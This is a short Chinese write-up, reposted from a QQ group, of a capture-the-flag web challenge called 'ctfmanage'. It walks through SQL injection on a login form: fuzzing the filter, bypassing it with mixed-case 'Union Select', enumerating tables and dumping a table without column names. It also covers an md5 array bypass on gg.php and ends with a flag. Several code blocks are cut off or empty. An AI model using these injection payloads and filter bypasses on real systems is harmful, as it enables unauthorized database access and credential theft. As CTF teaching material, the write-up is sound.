ctfmanage
转载自qq群。
大佬发的md文件
- 打开题目是一个登录框,加上字母发现直接报错,发现使用的是登录号,所以登录名是一个数字型参数,没有单引号包裹,而密码是一个字符型参数(所以注入点在用户名,密码随便填一个防止因为内容为空脚本验证不通过):

- 尝试输入用户名
1 or 1=1#
,发现被过滤,使用fuzz字典跑一下过滤值:

- 想到用
union
联合注入,尝试了很多次但是没有成功,后来发现可以大小写绕过(笑,现在怎么这么多双层防护的题目)
1 | 1 Union Select 1,2,3;# |

- 由于or被过滤了,所以这里需要使用无表名注入,且
from
和where
都需要大小写绕过:
1 | 1 Union Select 1,2,group_concat(table_name) From sys.schema_table_statistics_with_buffer Where table_schema=database();# => 没有输出 |
- 接下来就是无列名注入,以下两个payload都失败了:
1 | 1 Union Select 1,2,`3` From (Select 1,2,3 Union Select * From ilikectf);# |
- 最后使用下面式子成功:
1 | 1 Union Select * From ilikectf;# => 36476,sgrsgef,gg.php |

- 来到
gg.php
:
1 |
|
- 后一个是md5数组绕过。另外一个
$secret
变量,让我们回想起首页页面源代码中的字符:
1 | <!-- 告诉你一个秘密: hjZX1pcnVmdmRzZWZ/bGlg== --> |
- 将其反过来解密即可:
1 | <?php |
1 | ilovectfverymuch |
- 所以最后的payload:
1 | GET: |
- 获得flag:

1 | flag{23c2e3e4-d2f8-4770-9c7d-84142263a47a} |